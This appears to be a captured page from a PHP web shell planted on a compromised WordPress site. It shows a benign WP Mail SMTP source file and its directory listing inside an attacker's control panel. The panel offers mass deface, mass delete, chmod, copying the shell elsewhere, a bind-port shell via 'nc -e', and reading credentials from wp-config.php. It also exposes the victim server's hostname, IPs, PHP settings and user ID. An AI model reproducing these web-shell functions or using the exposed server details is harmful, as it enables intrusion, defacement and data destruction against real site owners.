WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-content / plugins / wp-mail-smtp / src / Providers / [dxwrx-r--r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/wp-content/plugins/wp-mail-smtp/src/Providers/AuthAbstract.php (5.25 KB)
<?php

namespace WPMailSMTP\Providers;

use WPMailSMTP\ConnectionInterface;
use WPMailSMTP\Options;

/**
 * Class AuthAbstract.
 *
 * @since 1.0.0
 */
abstract class AuthAbstract implements AuthInterface {

	/**
	 * The Connection object.
	 *
	 * @since 3.7.0
	 *
	 * @var ConnectionInterface
	 */
	protected $connection;

	/**
	 * The connection options object.
	 *
	 * @since 3.7.0
	 *
	 * @var Options
	 */
	protected $connection_options;

	/**
	 * Mailer DB options.
	 *
	 * @since 1.0.0
	 *
	 * @var array
	 */
	protected $options = [];

	/**
	 * @since 1.0.0
	 *
	 * @var mixed
	 */
	protected $client;

	/**
	 * Mailer slug.
	 *
	 * @since 1.0.0
	 *
	 * @var string
	 */
	protected $mailer_slug = '';

	/**
	 * Key for a stored unique state value.
	 *
	 * @since 1.5.0
	 *
	 * @var string
	 */
	public $state_key = 'wp_mail_smtp_provider_client_state';

	/**
	 * Auth constructor.
	 *
	 * @since 1.0.0
	 *
	 * @param ConnectionInterface $connection The Connection object.
	 */
	public function __construct( $connection = null ) {

		if ( ! is_null( $connection ) ) {
			$this->connection = $connection;
		} else {
			$this->connection = wp_mail_smtp()->get_connections_manager()->get_primary_connection();
		}

		$this->connection_options = $this->connection->get_options();
		$this->mailer_slug        = $this->connection->get_mailer_slug();
	}

	/**
	 * Use the composer autoloader to include the auth library and all dependencies.
	 *
	 * @since 1.0.0
	 */
	protected function include_vendor_lib() {

		require_once wp_mail_smtp()->plugin_path . '/vendor/autoload.php';
	}

	/**
	 * Get the url, that users will be redirected back to finish the OAuth process.
	 *
	 * @since 1.0.0
	 *
	 * @return string
	 */
	public static function get_plugin_auth_url() {

		return add_query_arg( 'tab', 'auth', wp_mail_smtp()->get_admin()->get_admin_page_url() );
	}

	/**
	 * Update auth code in our DB.
	 *
	 * @since 1.0.0
	 *
	 * @param string $code
	 */
	protected function update_auth_code( $code ) {

		$all = $this->connection_options->get_all();

		// To save in DB.
		$all[ $this->mailer_slug ]['auth_code'] = $code;

		// To save in currently retrieved options array.
		$this->options['auth_code'] = $code;

		// NOTE: These options need to be saved by overwriting all options, because WP automatic updates can cause an issue: GH #575!
		$this->connection_options->set( $all, false, true );
	}

	/**
	 * Update Setup Wizard flag in our DB.
	 *
	 * @since 2.6.0
	 *
	 * @param boolean $state A state (true/false) to set the is_setup_wizard_auth mailer setting.
	 */
	public function update_is_setup_wizard_auth( $state ) {

		$all = $this->connection_options->get_all();

		// To save in DB.
		$all[ $this->mailer_slug ]['is_setup_wizard_auth'] = (bool) $state;

		// To save in currently retrieved options array.
		$this->options['is_setup_wizard_auth'] = (bool) $state;

		// NOTE: These options need to be saved by overwriting all options, because WP automatic updates can cause an issue: GH #575!
		$this->connection_options->set( $all, false, true );
	}

	/**
	 * Update access token in our DB.
	 *
	 * @since 1.0.0
	 *
	 * @param mixed $token
	 */
	protected function update_access_token( $token ) {

		$all = $this->connection_options->get_all();

		// To save in DB.
		$all[ $this->mailer_slug ]['access_token'] = $token;

		// To save in currently retrieved options array.
		$this->options['access_token'] = $token;

		// NOTE: These options need to be saved by overwriting all options, because WP automatic updates can cause an issue: GH #575!
		$this->connection_options->set( $all, false, true );
	}

	/**
	 * Update refresh token in our DB.
	 *
	 * @since 1.0.0
	 *
	 * @param mixed $token
	 */
	protected function update_refresh_token( $token ) {

		$all = $this->connection_options->get_all();

		// To save in DB.
		$all[ $this->mailer_slug ]['refresh_token'] = $token;

		// To save in currently retrieved options array.
		$this->options['refresh_token'] = $token;

		// NOTE: These options need to be saved by overwriting all options, because WP automatic updates can cause an issue: GH #575!
		$this->connection_options->set( $all, false, true );
	}

	/**
	 * Update access token scopes in our DB.
	 *
	 * @since 3.4.0
	 *
	 * @param array $scopes Scopes array.
	 */
	protected function update_scopes( $scopes ) {

		$all = $this->connection_options->get_all();

		// To save in DB.
		$all[ $this->mailer_slug ]['scopes'] = $scopes;

		// To save in currently retrieved options array.
		$this->options['scopes'] = $scopes;

		// NOTE: These options need to be saved by overwriting all options, because WP automatic updates can cause an issue: GH #575!
		$this->connection_options->set( $all, false, true );
	}

	/**
	 * Get state value that should be used for `state` parameter in OAuth authorization request.
	 *
	 * @since 3.7.0
	 *
	 * @return string
	 */
	protected function get_state() {

		$state = [
			wp_create_nonce( $this->state_key ),
			$this->connection->get_id(),
		];

		return implode( '-', $state );
	}

	/**
	 * @inheritdoc
	 */
	public function is_clients_saved() {

		return ! empty( $this->options['client_id'] ) && ! empty( $this->options['client_secret'] );
	}

	/**
	 * @inheritdoc
	 */
	public function is_auth_required() {

		return empty( $this->options['access_token'] ) || empty( $this->options['refresh_token'] );
	}
}
namawaktuukuranownerpermaksi
..
AmazonSES/ 2026-07-21 14:14916 B 76129f60960:kundendxwrx-r--r
ElasticEmail/ 2026-07-21 14:1414.09 KB 76129f60960:kundendxwrx-r--r
Gmail/ 2026-07-21 14:1438.27 KB 76129f60960:kundendxwrx-r--r
Mail/ 2026-07-21 14:142.77 KB 76129f60960:kundendxwrx-r--r
MailerSend/ 2026-07-21 14:1416.17 KB 76129f60960:kundendxwrx-r--r
Mailgun/ 2026-07-21 14:1416.66 KB 76129f60960:kundendxwrx-r--r
Mailjet/ 2026-07-21 14:1417.94 KB 76129f60960:kundendxwrx-r--r
Mandrill/ 2026-07-21 14:1415.19 KB 76129f60960:kundendxwrx-r--r
Outlook/ 2026-07-21 14:143.79 KB 76129f60960:kundendxwrx-r--r
Pepipost/ 2026-07-21 14:141.1 KB 76129f60960:kundendxwrx-r--r
PepipostAPI/ 2026-07-21 14:1414.69 KB 76129f60960:kundendxwrx-r--r
Postmark/ 2026-07-21 14:1416.12 KB 76129f60960:kundendxwrx-r--r
Resend/ 2026-07-21 14:1413.5 KB 76129f60960:kundendxwrx-r--r
SMTP/ 2026-07-21 14:142.06 KB 76129f60960:kundendxwrx-r--r
SMTP2GO/ 2026-07-21 14:1415.37 KB 76129f60960:kundendxwrx-r--r
SMTPcom/ 2026-07-21 14:1417.36 KB 76129f60960:kundendxwrx-r--r
Sendgrid/ 2026-07-21 14:1414.05 KB 76129f60960:kundendxwrx-r--r
Sendinblue/ 2026-07-21 14:1418.79 KB 76129f60960:kundendxwrx-r--r
Sendlayer/ 2026-07-21 14:1474.26 KB 76129f60960:kundendxwrx-r--r
SparkPost/ 2026-07-21 14:1418.07 KB 76129f60960:kundendxwrx-r--r
Zoho/ 2026-07-21 14:14923 B 76129f60960:kundendxwrx-r--r
AuthAbstract.php 2026-07-21 14:145.25 KB 76129f60960:kunden-xw-x-----
edt
AuthInterface.php 2026-07-21 14:14470 B 76129f60960:kunden-xw-x-----
edt
Loader.php 2026-07-21 14:146.1 KB 76129f60960:kunden-xw-x-----
edt
MailerAbstract.php 2026-07-21 14:1416.58 KB 76129f60960:kunden-xw-x-----
edt
MailerInterface.php 2026-07-21 14:141.41 KB 76129f60960:kunden-xw-x-----
edt
OptionsAbstract.php 2026-07-21 14:1417.89 KB 76129f60960:kunden-xw-x-----
edt
OptionsInterface.php 2026-07-21 14:141.06 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/wp-content/plugins/wp-mail-smtp/src/Providers
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK